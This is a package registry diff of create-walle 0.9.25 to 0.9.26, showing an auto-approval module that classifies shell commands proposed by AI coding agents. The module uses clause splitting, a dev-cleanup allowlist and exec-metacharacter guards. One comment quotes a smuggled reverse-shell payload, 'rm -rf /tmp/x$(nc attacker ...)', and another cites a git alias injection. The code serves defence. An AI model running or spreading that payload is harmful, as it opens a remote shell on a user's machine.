create-walle 0.9.25 → 0.9.26

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (179) hide show
  1. package/README.md +8 -0
  2. package/bin/create-walle.js +815 -45
  3. package/package.json +2 -2
  4. package/template/bin/ctm-dev-cleanup.js +90 -4
  5. package/template/bin/ctm-launch.sh +49 -1
  6. package/template/bin/dev.sh +45 -1
  7. package/template/bin/ensure-stable-node.js +132 -0
  8. package/template/bin/install-service.sh +9 -0
  9. package/template/claude-task-manager/api-prompts.js +899 -119
  10. package/template/claude-task-manager/approval-agent.js +360 -40
  11. package/template/claude-task-manager/bin/ctm-disclaim.c +42 -0
  12. package/template/claude-task-manager/bin/ctm-hotkey.swift +67 -81
  13. package/template/claude-task-manager/bin/ctm-screen-auth.swift +37 -0
  14. package/template/claude-task-manager/bin/install-hotkey.sh +97 -49
  15. package/template/claude-task-manager/bin/restart-ctm.sh +14 -0
  16. package/template/claude-task-manager/db.js +399 -48
  17. package/template/claude-task-manager/docs/approval-hook-sandbox.md +84 -0
  18. package/template/claude-task-manager/docs/codex-app-server-approvals.md +72 -0
  19. package/template/claude-task-manager/docs/codex-native-sandbox.md +47 -0
  20. package/template/claude-task-manager/docs/prompt-editing-tree-design.md +18 -1
  21. package/template/claude-task-manager/lib/approval-hook.js +200 -0
  22. package/template/claude-task-manager/lib/approval-self-adapt.js +1 -0
  23. package/template/claude-task-manager/lib/auth-rules.js +11 -0
  24. package/template/claude-task-manager/lib/background-llm.js +32 -4
  25. package/template/claude-task-manager/lib/codesign-identity.js +140 -0
  26. package/template/claude-task-manager/lib/codex-app-server-client.js +119 -0
  27. package/template/claude-task-manager/lib/codex-approval-bridge.js +118 -0
  28. package/template/claude-task-manager/lib/codex-history-terminal-renderer.js +571 -0
  29. package/template/claude-task-manager/lib/codex-paths.js +73 -0
  30. package/template/claude-task-manager/lib/codex-rollout-snapshot.js +164 -0
  31. package/template/claude-task-manager/lib/codex-rollout-tail.js +72 -0
  32. package/template/claude-task-manager/lib/codex-sandbox-args.js +47 -0
  33. package/template/claude-task-manager/lib/coding-agent-models.js +118 -71
  34. package/template/claude-task-manager/lib/command-targets.js +163 -0
  35. package/template/claude-task-manager/lib/conversation-tail-merge.js +61 -19
  36. package/template/claude-task-manager/lib/db-owner-worker-client.js +29 -1
  37. package/template/claude-task-manager/lib/escalation-review.js +80 -3
  38. package/template/claude-task-manager/lib/flow-control.js +52 -0
  39. package/template/claude-task-manager/lib/fs-watcher.js +24 -15
  40. package/template/claude-task-manager/lib/ingest-cooldown.js +68 -0
  41. package/template/claude-task-manager/lib/jsonl-conversation-parser.js +8 -4
  42. package/template/claude-task-manager/lib/launchd-recovery.js +92 -0
  43. package/template/claude-task-manager/lib/microsoft-dev-tunnel-setup.js +207 -52
  44. package/template/claude-task-manager/lib/mobile-push-store.js +7 -0
  45. package/template/claude-task-manager/lib/model-overview-brain-fallback.js +102 -1
  46. package/template/claude-task-manager/lib/model-overview-cache.js +1 -0
  47. package/template/claude-task-manager/lib/oauth-proxy-supervisor.js +2 -1
  48. package/template/claude-task-manager/lib/perf-tracker.js +29 -2
  49. package/template/claude-task-manager/lib/permission-match.js +146 -16
  50. package/template/claude-task-manager/lib/project-slug.js +33 -0
  51. package/template/claude-task-manager/lib/prompt-intent.js +51 -4
  52. package/template/claude-task-manager/lib/read-pool-client.js +48 -3
  53. package/template/claude-task-manager/lib/real-node.js +73 -0
  54. package/template/claude-task-manager/lib/runtime-work-registry.js +131 -14
  55. package/template/claude-task-manager/lib/session-content-backfill.js +24 -5
  56. package/template/claude-task-manager/lib/session-diagnostics-batch.js +87 -0
  57. package/template/claude-task-manager/lib/session-history.js +5 -7
  58. package/template/claude-task-manager/lib/session-host-manager.js +19 -0
  59. package/template/claude-task-manager/lib/session-jobs.js +6 -0
  60. package/template/claude-task-manager/lib/session-message-response-cache.js +89 -0
  61. package/template/claude-task-manager/lib/session-messages-page.js +211 -0
  62. package/template/claude-task-manager/lib/session-messages-projection.js +170 -0
  63. package/template/claude-task-manager/lib/session-standup.js +8 -0
  64. package/template/claude-task-manager/lib/session-timeline-summary.js +16 -2
  65. package/template/claude-task-manager/lib/session-token-usage.js +30 -8
  66. package/template/claude-task-manager/lib/session-workspace-binding.js +29 -15
  67. package/template/claude-task-manager/lib/storage-migration.js +2 -1
  68. package/template/claude-task-manager/lib/transcript-store.js +179 -12
  69. package/template/claude-task-manager/lib/walle-ctm-history.js +298 -11
  70. package/template/claude-task-manager/lib/walle-permission-reply.js +49 -0
  71. package/template/claude-task-manager/lib/walle-session-cache.js +22 -1
  72. package/template/claude-task-manager/lib/walle-supervisor.js +42 -3
  73. package/template/claude-task-manager/package.json +5 -2
  74. package/template/claude-task-manager/prompt-harvest.js +31 -11
  75. package/template/claude-task-manager/providers/claude-code.js +29 -1
  76. package/template/claude-task-manager/providers/codex.js +13 -1
  77. package/template/claude-task-manager/public/css/setup.css +11 -0
  78. package/template/claude-task-manager/public/css/walle-session.css +132 -4
  79. package/template/claude-task-manager/public/css/walle.css +89 -0
  80. package/template/claude-task-manager/public/icon-16.png +0 -0
  81. package/template/claude-task-manager/public/icon-32.png +0 -0
  82. package/template/claude-task-manager/public/icon-512.png +0 -0
  83. package/template/claude-task-manager/public/index.html +2483 -165
  84. package/template/claude-task-manager/public/js/activation-render-check.js +55 -0
  85. package/template/claude-task-manager/public/js/flow-control-policy.js +52 -0
  86. package/template/claude-task-manager/public/js/message-renderer.js +60 -1
  87. package/template/claude-task-manager/public/js/prompts.js +13 -1
  88. package/template/claude-task-manager/public/js/session-status-precedence.js +9 -3
  89. package/template/claude-task-manager/public/js/setup.js +54 -10
  90. package/template/claude-task-manager/public/js/stream-resize-policy.js +80 -0
  91. package/template/claude-task-manager/public/js/stream-view.js +78 -0
  92. package/template/claude-task-manager/public/js/terminal-reconciler.js +52 -2
  93. package/template/claude-task-manager/public/js/tool-state.js +155 -0
  94. package/template/claude-task-manager/public/js/walle-session.js +887 -326
  95. package/template/claude-task-manager/public/js/walle.js +306 -195
  96. package/template/claude-task-manager/public/m/app.css +1 -0
  97. package/template/claude-task-manager/public/m/app.js +33 -3
  98. package/template/claude-task-manager/queue-engine.js +45 -1
  99. package/template/claude-task-manager/server.js +3367 -540
  100. package/template/claude-task-manager/workers/approval-blocklist.js +130 -17
  101. package/template/claude-task-manager/workers/db-owner-worker.js +31 -1
  102. package/template/claude-task-manager/workers/read-pool-worker.js +92 -5
  103. package/template/claude-task-manager/workers/session-host-process.js +10 -0
  104. package/template/claude-task-manager/workers/state-detectors/codex.js +58 -7
  105. package/template/package.json +2 -3
  106. package/template/shared/icons/AppIcon-ctm.icns +0 -0
  107. package/template/shared/icons/AppIcon-walle.icns +0 -0
  108. package/template/wall-e/agent.js +139 -18
  109. package/template/wall-e/api-walle.js +201 -22
  110. package/template/wall-e/bin/train-gemma-e4b-tooluse.js +1981 -0
  111. package/template/wall-e/brain.js +1049 -39
  112. package/template/wall-e/chat.js +427 -86
  113. package/template/wall-e/coding/acceptance-contract.js +26 -1
  114. package/template/wall-e/coding/action-memory-policy.js +353 -0
  115. package/template/wall-e/coding/action-memory-store.js +814 -0
  116. package/template/wall-e/coding/initial-messages.js +197 -0
  117. package/template/wall-e/coding/no-progress-guard.js +327 -0
  118. package/template/wall-e/coding/permission-service.js +88 -22
  119. package/template/wall-e/coding/session-workspaces.js +81 -0
  120. package/template/wall-e/coding/shell-sandbox.js +124 -0
  121. package/template/wall-e/coding/stream-processor.js +63 -2
  122. package/template/wall-e/coding/tool-execution-controller.js +14 -1
  123. package/template/wall-e/coding/tool-registry.js +1 -1
  124. package/template/wall-e/coding/transcript-writer.js +3 -0
  125. package/template/wall-e/coding-orchestrator.js +636 -35
  126. package/template/wall-e/coding-prompts.js +51 -2
  127. package/template/wall-e/docs/model-routing-policy.md +59 -0
  128. package/template/wall-e/docs/walle-shell-sandbox.md +61 -0
  129. package/template/wall-e/extraction/knowledge-extractor.js +76 -23
  130. package/template/wall-e/http/chat-api.js +30 -12
  131. package/template/wall-e/http/model-admin.js +93 -1
  132. package/template/wall-e/lib/background-lanes.js +133 -0
  133. package/template/wall-e/lib/boot-profile.js +11 -0
  134. package/template/wall-e/lib/brain-owner-worker-client.js +324 -0
  135. package/template/wall-e/lib/brain-read-pool-client.js +311 -0
  136. package/template/wall-e/lib/diagnostics-flags.js +87 -0
  137. package/template/wall-e/lib/event-loop-monitor.js +74 -3
  138. package/template/wall-e/lib/mcp-integration.js +7 -1
  139. package/template/wall-e/lib/real-node.js +98 -0
  140. package/template/wall-e/lib/runtime-health.js +206 -0
  141. package/template/wall-e/lib/runtime-worker-pool.js +101 -0
  142. package/template/wall-e/lib/scheduler-worker-jobs.js +231 -0
  143. package/template/wall-e/lib/scheduler.js +446 -17
  144. package/template/wall-e/lib/service-health.js +61 -2
  145. package/template/wall-e/lib/service-readiness.js +258 -0
  146. package/template/wall-e/lib/usage.js +152 -0
  147. package/template/wall-e/lib/worker-thread-pool.js +389 -0
  148. package/template/wall-e/llm/client.js +81 -4
  149. package/template/wall-e/llm/default-fallback.js +54 -8
  150. package/template/wall-e/llm/mlx.js +536 -73
  151. package/template/wall-e/llm/mlx.plugin.json +1 -1
  152. package/template/wall-e/llm/ollama.js +342 -43
  153. package/template/wall-e/llm/provider-error.js +18 -1
  154. package/template/wall-e/llm/provider-health-state.js +176 -0
  155. package/template/wall-e/llm/routing-policy.js +796 -0
  156. package/template/wall-e/llm/supported-models.js +5 -0
  157. package/template/wall-e/loops/tasks.js +60 -14
  158. package/template/wall-e/loops/think.js +89 -24
  159. package/template/wall-e/mcp-server.js +192 -28
  160. package/template/wall-e/server.js +32 -7
  161. package/template/wall-e/skills/script-skill-runner.js +8 -1
  162. package/template/wall-e/skills/skill-planner.js +64 -1
  163. package/template/wall-e/tools/builtin-middleware.js +67 -2
  164. package/template/wall-e/tools/local-tools.js +116 -26
  165. package/template/wall-e/tools/permission-checker.js +52 -4
  166. package/template/wall-e/tools/permission-rules.js +36 -0
  167. package/template/wall-e/tools/shell-analyzer.js +46 -1
  168. package/template/wall-e/training/gemma-e4b-qlora.js +314 -0
  169. package/template/wall-e/training/real-trajectory-miner.js +2617 -0
  170. package/template/wall-e/training/replay-eval-analysis.js +151 -0
  171. package/template/wall-e/training/run-shell-command-selector.js +277 -0
  172. package/template/wall-e/training/tool-sft-dataset.js +312 -0
  173. package/template/wall-e/training/tool-sft-renderers.js +144 -0
  174. package/template/wall-e/training/tool-trace-harvester.js +1440 -0
  175. package/template/wall-e/training/trajectory-action-selector.js +364 -0
  176. package/template/wall-e/weather-runtime.js +232 -0
  177. package/template/wall-e/workers/brain-owner-worker.js +162 -0
  178. package/template/wall-e/workers/brain-read-worker.js +148 -0
  179. package/template/wall-e/workers/runtime-worker.js +145 -0
@@ -218,6 +218,18 @@ function _scheduleGuardedApproval(session, context, headlessWorker, broadcastFn,
218
218
  const _lastApproval = new Map(); // sessionId -> { fingerprint, ts }
219
219
  const DEDUP_WINDOW_MS = 3000;
220
220
 
221
+ // User-input priority: when the human is actively driving a session (typing/arrowing at a
222
+ // prompt), the auto-approver must NOT inject keystrokes — its `y`/Enter/backspace would
223
+ // interleave with the user's arrow sequences and steal/garble navigation. handleInput marks
224
+ // the session active via markUserActive(); sendApprovalKeystroke yields within the backoff.
225
+ const _userActiveAt = new Map(); // sessionId -> ts (ms) of last manual keystroke
226
+ const USER_BACKOFF_MS = Math.max(0, Number(process.env.CTM_APPROVER_USER_BACKOFF_MS ?? 1500));
227
+ function _userIsDriving(sessionId) {
228
+ if (!sessionId || USER_BACKOFF_MS <= 0) return false;
229
+ const at = _userActiveAt.get(sessionId);
230
+ return !!at && (Date.now() - at) < USER_BACKOFF_MS;
231
+ }
232
+
221
233
  // Determine which option to send — delegates to provider if available,
222
234
  // falls back to Claude Code behavior ("2" for allow-all, "1" for plain Yes).
223
235
  function getApproveKeystroke(context, options = {}) {
@@ -391,7 +403,15 @@ function parseApprovalContext(cleanText, providerId) {
391
403
  if (fileOp) { toolName = fileOp.toolName; fileOpCommand = fileOp.command; }
392
404
  }
393
405
 
394
- const command = (fileOpCommand || contextLines.join('\n')).trim();
406
+ // Bash approvals render the command followed by one dimmed prose description
407
+ // line; drop it from the command so titles/signatures stay command-shaped
408
+ // (mirror of the claude-code provider parse path).
409
+ let cmdLines = contextLines;
410
+ if (/^[⏺●]?\s*Bash\b/.test(toolName)) {
411
+ const cc = getProvider('claude-code');
412
+ if (cc && typeof cc.stripBashDescriptionTail === 'function') cmdLines = cc.stripBashDescriptionTail(contextLines);
413
+ }
414
+ const command = (fileOpCommand || cmdLines.join('\n')).trim();
395
415
 
396
416
  // Build focused context: tool header + command + warning + prompt (not the whole screen)
397
417
  const ctxStart = Math.max(0, endIdx - (contextLines.length + 1));
@@ -484,6 +504,75 @@ function isLiveApprovalPrompt(cleanText) {
484
504
  return false;
485
505
  }
486
506
 
507
+ // A Claude ExitPlanMode plan-approval ("…written up a plan and is ready to
508
+ // proceed?" with the plan-flow options) is the USER's deliberate plan decision,
509
+ // NOT a tool permission. CTM must stay fully hands-off: never auto-press a key
510
+ // (pressing "1" = "Yes, and use auto mode" auto-runs the WHOLE plan) and never
511
+ // raise the approval banner. The session still surfaces via the normal Needs-You
512
+ // signal. The generic wait-state classifier already tags these as a `choice`,
513
+ // but plan approvals are high-stakes, so this dedicated guard is applied on the
514
+ // main + rescue paths as defense-in-depth.
515
+ //
516
+ // Tight on purpose — requires BOTH a plan-flavored proceed question AND a
517
+ // plan-specific option/footer tell — so a genuine "Do you want to proceed?" Bash
518
+ // approval (a real permission, with plain "1. Yes / 2. No") is NOT swallowed.
519
+ const PLAN_APPROVAL_QUESTION_RE = /\b(?:written up a plan|ready to proceed|(?:would you like|do you want|like) to proceed)\b/i;
520
+ const PLAN_APPROVAL_OPTION_RE = /\byes,?\s*and\s*(?:use\s*)?auto[- ]?(?:mode|accept)|manually approve edits|(?:no,?\s*(?:and\s*)?)?keep planning|refine with\b|approve with this feedback|shift\+tab to approve\b/i;
521
+ function isPlanApprovalPrompt(cleanText) {
522
+ const text = String(cleanText || '');
523
+ if (!text.trim()) return false;
524
+ return PLAN_APPROVAL_QUESTION_RE.test(text) && PLAN_APPROVAL_OPTION_RE.test(text);
525
+ }
526
+
527
+ // Content-addressed fingerprint of a visible ExitPlanMode plan card, used to
528
+ // drive the server's convergence render ("keep pushing a clean snapshot until a
529
+ // frame carrying THIS card has reached the clients"). It must be:
530
+ // - DISTINCT per plan (so a new plan re-renders, never deduped against an old
531
+ // one) → we hash the whole card region, including the plan body text, not
532
+ // just the static option labels (which collide across plans); and
533
+ // - STABLE across the live spinner / token counter / elapsed-time churn (so a
534
+ // settled card is not re-pushed every frame) → we mask those volatile bits
535
+ // before hashing.
536
+ // Expects ANSI-stripped text. Returns null when no plan card is present.
537
+ const PLAN_FP_VOLATILE_RES = [
538
+ /\(\s*\d+\s*m\s*\d+\s*s\s*\)/g, // elapsed "(5m 50s)"
539
+ /\b[\d.,]+\s*k?\s*tokens?\b/gi, // "22.7k tokens"
540
+ /\besc to interrupt\b/gi, // composer footer churn
541
+ /[⠀-⣿◐◓◑◒·✢✳✻✽∗⋆]/g, // braille + asterisk spinner glyphs
542
+ /\b\d{1,2}:\d{2}(?::\d{2})?\b/g, // clocks
543
+ ];
544
+ // Shared volatile-masked djb2 hash of a card region (cheap, collision-safe enough for
545
+ // frame identity). Masks the spinner / token counter / elapsed-time / clock churn so a
546
+ // settled card is not re-pushed every frame.
547
+ function _maskedCardHash(cleanText) {
548
+ let norm = String(cleanText || '');
549
+ for (const re of PLAN_FP_VOLATILE_RES) norm = norm.replace(re, ' ');
550
+ norm = norm.replace(/\s+/g, ' ').trim().toLowerCase();
551
+ let h = 5381;
552
+ for (let i = 0; i < norm.length; i++) h = (((h << 5) + h) ^ norm.charCodeAt(i)) >>> 0;
553
+ return h.toString(16);
554
+ }
555
+
556
+ function planCardFingerprint(cleanText) {
557
+ const text = String(cleanText || '');
558
+ if (!isPlanApprovalPrompt(text)) return null;
559
+ return 'plan-' + _maskedCardHash(text);
560
+ }
561
+
562
+ // General selection-card identity for the convergence render: AskUserQuestion menus,
563
+ // permission prompts, and any other interactive card. UNLIKE planCardFingerprint, this
564
+ // does NOT decide whether a card is present — the CALLER establishes that via the proven
565
+ // structural classifier (lib/wait-state.js evaluateWaitState → kind 'choice'/'approval',
566
+ // which is position-based and footer-agnostic, so it fires even when an 'esc to interrupt'
567
+ // composer footer is co-painted). This just produces the stable, volatile-masked frame
568
+ // identity the convergence render dedups on (distinct per card, stable across spinner churn).
569
+ // Returns null only for empty text. Expects ANSI-stripped text.
570
+ function cardTextFingerprint(cleanText) {
571
+ const text = String(cleanText || '');
572
+ if (!text.trim()) return null;
573
+ return 'card-' + _maskedCardHash(text);
574
+ }
575
+
487
576
  // Normalize a command into a stable "signature" by extracting the command structure
488
577
  // and replacing variable parts (paths, strings, numbers) with placeholders.
489
578
  // Examples:
@@ -521,6 +610,10 @@ function normalizeCommandSignature(toolName, command) {
521
610
  .replace(/(["'`])(?:(?!\1).)*\1/g, '<arg>')
522
611
  // Replace URLs with <url>
523
612
  .replace(/https?:\/\/\S+/g, '<url>')
613
+ // Replace UUIDs (session SIDs etc.) with <id> BEFORE <num>, so a per-session
614
+ // id doesn't fragment the signature (the digit runs inside a UUID aren't
615
+ // \b-bounded, so <num> would leave it mostly literal and unique per run).
616
+ .replace(/\b[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\b/gi, '<id>')
524
617
  // Replace absolute paths with <path>
525
618
  .replace(/(?:\/[\w._-]+){2,}/g, '<path>')
526
619
  // Replace standalone numbers (PIDs, ports, line numbers) with <num>
@@ -722,18 +815,6 @@ function escalationCommandParts(context) {
722
815
  return { title, signature };
723
816
  }
724
817
 
725
- // A rescue candidate is "actionable" only when we have a concrete command to show
726
- // the operator AND the parser classified the tool. An empty command or an
727
- // "Unknown" tool means the parse degraded (almost always approval-shaped PROSE,
728
- // not a live prompt) — escalating it just yields a confusing, meaningless banner.
729
- function _rescueCandidateActionable(context) {
730
- if (!context) return false;
731
- if (!escalationCommandParts(context).title) return false;
732
- const tool = String(context.toolName || '').replace(/^[⏺●\s]+/, '').trim().toLowerCase();
733
- if (!tool || tool === 'unknown') return false;
734
- return true;
735
- }
736
-
737
818
  // The crisp, OBJECTIVE reason a command was sent to review instead of auto-approved
738
819
  // — a category + sentence, NOT the AI verifier's vague free-text. First match wins
739
820
  // (priority order). Shown in the session banner and the Pending group's "Why
@@ -892,6 +973,10 @@ function _splitShellClauses(cmd) {
892
973
  if (depth > 0) { buf += ch; continue; }
893
974
  if (ch === '\n' || ch === ';') { clauses.push(buf); buf = ''; continue; }
894
975
  if (ch === '&' || ch === '|') {
976
+ // A `&` that is part of a redirect (`2>&1`, `>&2`, `&>file`) is NOT a
977
+ // clause separator — splitting there manufactured a bogus `1` clause that
978
+ // forced common `… 2>&1 | …` commands to medium risk.
979
+ if (ch === '&' && (s[i - 1] === '>' || next === '>')) { buf += ch; continue; }
895
980
  // && || |& all consume two chars; single & or | consume one.
896
981
  if (next === ch || (ch === '|' && next === '&')) { i += 1; }
897
982
  clauses.push(buf); buf = ''; continue;
@@ -910,6 +995,136 @@ function _isProcessControlClause(clause) {
910
995
  return /\b(?:kill|pkill|killall)\b/.test(clause) || /\bxargs\b[\s\S]*\bkill\b/.test(clause);
911
996
  }
912
997
 
998
+ // Pure shell control-flow keywords execute nothing on their own — they only
999
+ // structure a loop/conditional. The clause splitter emits them as standalone
1000
+ // clauses (`for f in …`, `do`, `done`, `then`, `fi`, `esac`, …). Classifying them
1001
+ // as unknown COMMANDS used to force every looped command to 'medium' → the LLM
1002
+ // verifier, even when the loop body was entirely safe. They carry no risk by
1003
+ // themselves, so they are skipped like a bare assignment. The COMMANDS inside the
1004
+ // body are split into their own clauses and classified independently, so a
1005
+ // dangerous body (`do rm -rf /; done`, `do kill …; done`) still escalates — the
1006
+ // MAX-risk-per-clause invariant (and the whole-command high-risk scan above) is
1007
+ // untouched.
1008
+ function _isControlFlowClause(clause) {
1009
+ const c = String(clause || '').trim();
1010
+ if (!c) return true;
1011
+ // Bare structural keywords / block punctuation (nothing executes).
1012
+ if (/^(?:do|done|then|else|fi|esac|in|;;|\{|\})$/.test(c)) return true;
1013
+ // Loop/conditional headers that introduce no command of their own:
1014
+ // `for VAR in LIST`, `case WORD in`. Skipped ONLY when the header contains no
1015
+ // command substitution ($(…) / backticks) — a substitution IS a real exec
1016
+ // vector and must stay classified, so such a header falls through to review.
1017
+ if (/^for\s+\w+\s+in\b/.test(c) && !/\$\(|`/.test(c)) return true;
1018
+ if (/^case\s+\S+\s+in\b/.test(c) && !/\$\(|`/.test(c)) return true;
1019
+ return false;
1020
+ }
1021
+
1022
+ // A real command can be glued to a leading control keyword by the splitter
1023
+ // (`do sips …`, `then make …`, `while read …`, `if test …`). Strip the keyword so
1024
+ // the body command itself is risk-classified, not the keyword. Process-control,
1025
+ // high-risk, and devSafe checks then apply to the actual command.
1026
+ function _stripLeadingControlKeyword(clause) {
1027
+ return String(clause || '').replace(/^\s*(?:do|then|else|elif|while|until|if)\s+/, '');
1028
+ }
1029
+
1030
+ // --- Dev-instance cleanup family -------------------------------------------
1031
+ // Stopping a local dev server and removing its /tmp scratch is a routine,
1032
+ // repeated action (lsof -ti :PORT | xargs kill ; rm -rf /tmp/<scratch>). On its
1033
+ // own each piece classifies 'medium' (kill = process control, rm = unrecognized)
1034
+ // so it parks the agent every time. These three helpers recognize ONLY that
1035
+ // narrow shape; anything broader (kill by name, kill -1, rm outside /tmp, a
1036
+ // `..` escape) does NOT match and falls through to the normal medium/high path.
1037
+
1038
+ // Shell metacharacters that introduce EXECUTION or expansion: command/process
1039
+ // substitution ($(…) / `…` / <(…)), brace/arith expansion, redirects, subshells.
1040
+ // Any clause containing these is disqualified from the auto-approve allowlist —
1041
+ // otherwise `rm -rf /tmp/x$(nc attacker 9 -e /bin/sh)` would pass the /tmp-shape
1042
+ // check (the substitution is glued to a /tmp token with no whitespace) and the
1043
+ // embedded command would run. Pipes/semicolons are NOT here: the splitter
1044
+ // already breaks on them, so each clause is classified on its own. `*?[]` glob
1045
+ // chars are allowed (rm of /tmp/walle-stream*.txt is a normal cleanup).
1046
+ function _hasShellExecMetachars(s) {
1047
+ return /[`$()<>{}\\]/.test(String(s || ''));
1048
+ }
1049
+
1050
+ // `rm [-flags] <targets>` where EVERY target is strictly under /tmp/ (at least
1051
+ // one segment below /tmp, no bare /tmp, no `..` escape) and contains only safe
1052
+ // path/glob characters. Recursive is fine here — the blast radius is confined to
1053
+ // temp scratch. A substitution/expansion anywhere in the clause disqualifies it.
1054
+ function _isTmpScopedRmClause(clause) {
1055
+ const c = String(clause || '').trim();
1056
+ if (!/^rm\b/.test(c)) return false;
1057
+ if (_hasShellExecMetachars(c)) return false;
1058
+ const targets = [];
1059
+ let flagsDone = false;
1060
+ for (const tok of c.split(/\s+/).slice(1)) {
1061
+ if (!flagsDone && tok === '--') { flagsDone = true; continue; }
1062
+ if (!flagsDone && /^-/.test(tok)) continue;
1063
+ targets.push(tok.replace(/^['"]|['"]$/g, ''));
1064
+ }
1065
+ if (!targets.length) return false;
1066
+ return targets.every((t) => !/\/\.\.?(\/|$)/.test(t) && /^\/tmp\/[\w.\-/*?[\]]+$/.test(t));
1067
+ }
1068
+
1069
+ // Port-scoped process termination: `lsof -ti :PORT | xargs kill [-SIG]` (fed by
1070
+ // the lsof producer in the same pipeline) or `kill [-SIG] <numeric pids>`. Never
1071
+ // matches a kill of process group/all (`-1`) or kill-by-name (pkill/killall).
1072
+ function _isPortScopedKillClause(clause) {
1073
+ const c = String(clause || '').trim();
1074
+ if (_hasShellExecMetachars(c)) return false;
1075
+ if (/\bpkill\b|\bkillall\b/.test(c)) return false;
1076
+ if (/\bkill\b[\s\S]*(?:^|\s)-1\b/.test(c)) return false; // kill … -1 (all/process-group)
1077
+ if (/^xargs\b[\s\S]*\bkill\b/.test(c)) return true; // PIDs arrive via stdin from lsof
1078
+ const m = c.match(/^kill\b(.*)$/);
1079
+ if (!m) return false;
1080
+ const targets = m[1].trim().split(/\s+/).filter(Boolean).filter((a) => !a.startsWith('-'));
1081
+ return targets.length > 0 && targets.every((a) => /^\d+$/.test(a));
1082
+ }
1083
+
1084
+ // `lsof -ti :PORT` style PID producer (terse + by-port). Read-only; only useful
1085
+ // here as the safe left side of the port-kill pipeline.
1086
+ function _isDevPortLsofClause(clause) {
1087
+ const c = String(clause || '').trim();
1088
+ if (_hasShellExecMetachars(c)) return false;
1089
+ return /^lsof\b/.test(c) && /-[a-z]*t/.test(c) && /:\d{2,5}\b/.test(c);
1090
+ }
1091
+
1092
+ // True only when the WHOLE command is the dev-cleanup family: every clause is a
1093
+ // port-scoped kill, a /tmp-scoped rm, the lsof PID producer, a sleep, or an
1094
+ // inherently-harmless assignment/control-flow keyword. Deliberately NARROW so it
1095
+ // does not punch through the per-clause-max process-control guardrail (the
1096
+ // Cursor `&&`-allowlist-bypass CVE class): a kill clause only counts as cleanup
1097
+ // when the command ALSO contains an `lsof :PORT` producer (i.e. killing whatever
1098
+ // holds a local port) — a bare `kill -9 <pid>`, a kill mixed with any unrelated
1099
+ // command, or a kill-by-name (pkill/killall) all stay 'medium' → verifier.
1100
+ // Operates on the already-unwrapped, lowercased command.
1101
+ function _isDevCleanupCommand(cmd) {
1102
+ const clauses = _splitShellClauses(cmd);
1103
+ if (!clauses.length) return false;
1104
+ let sawLsofPort = false, sawKill = false, sawTmpRm = false;
1105
+ for (const raw of clauses) {
1106
+ const c = _stripLeadingControlKeyword(raw).trim();
1107
+ if (!c) continue;
1108
+ // Any exec metacharacter ($()/`…`/<()/>()/{}/subshell/redirect) disqualifies
1109
+ // the whole command BEFORE the harmless-looking skips below — otherwise a
1110
+ // clause like `FOO=<(nc …)` (skipped as a bare assignment) or a redirect to
1111
+ // an arbitrary file would smuggle execution into an auto-approved teardown.
1112
+ if (_hasShellExecMetachars(c)) return false;
1113
+ if (_isControlFlowClause(c)) continue;
1114
+ if (/^\w+=/.test(c) && !/\$\((?!\()/.test(c) && !/`/.test(c)) continue; // bare assignment
1115
+ if (/^sleep\s+[\d.]+\s*$/.test(c)) continue;
1116
+ if (_isDevPortLsofClause(c)) { sawLsofPort = true; continue; }
1117
+ if (_isPortScopedKillClause(c)) { sawKill = true; continue; }
1118
+ if (_isTmpScopedRmClause(c)) { sawTmpRm = true; continue; }
1119
+ return false; // any other clause disqualifies the whole command
1120
+ }
1121
+ // A kill only qualifies as dev-cleanup when paired with an lsof port producer;
1122
+ // otherwise it stays medium (the process-control guardrail). A pure /tmp-scoped
1123
+ // rm needs no lsof — its blast radius is confined to scratch.
1124
+ if (sawKill && !sawLsofPort) return false;
1125
+ return sawKill || sawTmpRm;
1126
+ }
1127
+
913
1128
  // Simple heuristic review when no API key is available
914
1129
  function reviewWithHeuristics(context) {
915
1130
  const cmd = (context.command || '').toLowerCase();
@@ -983,6 +1198,16 @@ function reviewWithHeuristics(context) {
983
1198
  }
984
1199
  }
985
1200
 
1201
+ // Dev-instance cleanup family (stop a local dev server + delete its /tmp
1202
+ // scratch). Recognized as a WHOLE-command shape so the port-scoped kill and
1203
+ // the /tmp-scoped rm — which each look 'medium' in isolation — don't park the
1204
+ // agent on every teardown. Runs AFTER the high-risk scan (so a non-/tmp rm or
1205
+ // sudo still wins) and the dangerous-command blocklist remains the hard floor.
1206
+ if (_isDevCleanupCommand(cmdUnwrapped || cmd)) {
1207
+ return { decision: 'approve', reasoning: 'Dev-instance cleanup — port-scoped kill + /tmp scratch removal (heuristic)', riskLevel: 'low',
1208
+ ruleLabel: 'Dev cleanup', rulePattern: '', ruleDescription: 'Stop a local dev server (lsof :PORT | xargs kill) and remove its /tmp scratch files' };
1209
+ }
1210
+
986
1211
  // Local dev operations that are safe to auto-approve — matched PER CLAUSE.
987
1212
  const devSafe = [
988
1213
  { re: /echo\s+.*>\s*\/tmp\//, label: 'Write to /tmp', desc: 'Echo output to temp files' },
@@ -991,7 +1216,17 @@ function reviewWithHeuristics(context) {
991
1216
  { re: /\bcat\s/, label: 'Read file contents', desc: 'View file contents with cat' },
992
1217
  { re: /\bls\b/, label: 'List directory', desc: 'List files and directories' },
993
1218
  { re: /\bpwd\b/, label: 'Print working directory', desc: 'Show current directory path' },
994
- { re: /git\s+(status|log|diff|branch|show|stash\s+list|tag|remote)/, label: 'Git read operations', desc: 'Read-only git commands (status, log, diff, branch, show, tag, remote)' },
1219
+ // Read-only git, tolerant of git's leading global options so `git -C <repo>
1220
+ // status` classifies the same as `git status` (matches Claude Code / Codex).
1221
+ // Only KNOWN-SAFE global options are skipped: `-C`/`--git-dir`/`--work-tree`/
1222
+ // `--namespace` (+ value) and pager/lock booleans. Exec-affecting options
1223
+ // (`-c name=value`, `--config-env`, `--exec-path`) are deliberately excluded,
1224
+ // so `git -c alias.x='!cmd' x` does NOT match here and stays medium-risk.
1225
+ // caseSensitive: matched against the ORIGINAL-case clause. git's `-C`
1226
+ // (directory, safe) and `-c` (config/alias injection) collapse to the same
1227
+ // token under toLowerCase(), so this rule must see the real case to keep
1228
+ // `-c alias.x='!cmd'` out of the read-only class.
1229
